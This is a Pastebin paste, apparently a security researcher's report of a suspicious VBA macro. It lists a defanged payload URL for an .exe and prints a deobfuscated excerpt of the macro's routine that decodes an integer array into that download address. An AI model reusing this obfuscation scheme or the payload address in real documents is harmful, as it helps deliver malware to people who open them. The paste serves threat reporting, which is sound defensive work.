Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Suspicious VBA Macro
- Reported by neonprimetime security
- http://neonprimetime.blogspot.com
- *****
- Obfuscated Version: http://pastebin.com/xAxZUF1H
- *****
- Payload: hxxp://mgming.rs/87yte55/6t45eyv.exe
- *****
- Dim oldLen As Integer
- oldLen = 35
- Dim decodeURLFunction As String
- Dim encodedUrl() As Variant
- encodedUrl = Array(4828, 4840, 4840, 4836, 4782, 4771, 4771, 4833, 4827, 4833, 4829, 4834, 4827, 4770, 4838, 4839, 4771, 4780, 4779, 4845, 4840, 4825, 4777, 4777, 4771, 4778, 4840, 4776, 4777, 4825, 4845, 4842, 4770, 4825, 4844, 4825)
- Dim n As Integer
- For n = LBound(encodedUrl) To UBound(encodedUrl)
- decodeURLFunction = decodeURLFunction & Chr(encodedUrl(n) - 8 * oldLen - 4444)
- Next n
- MsgBox decodeURLFunction
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement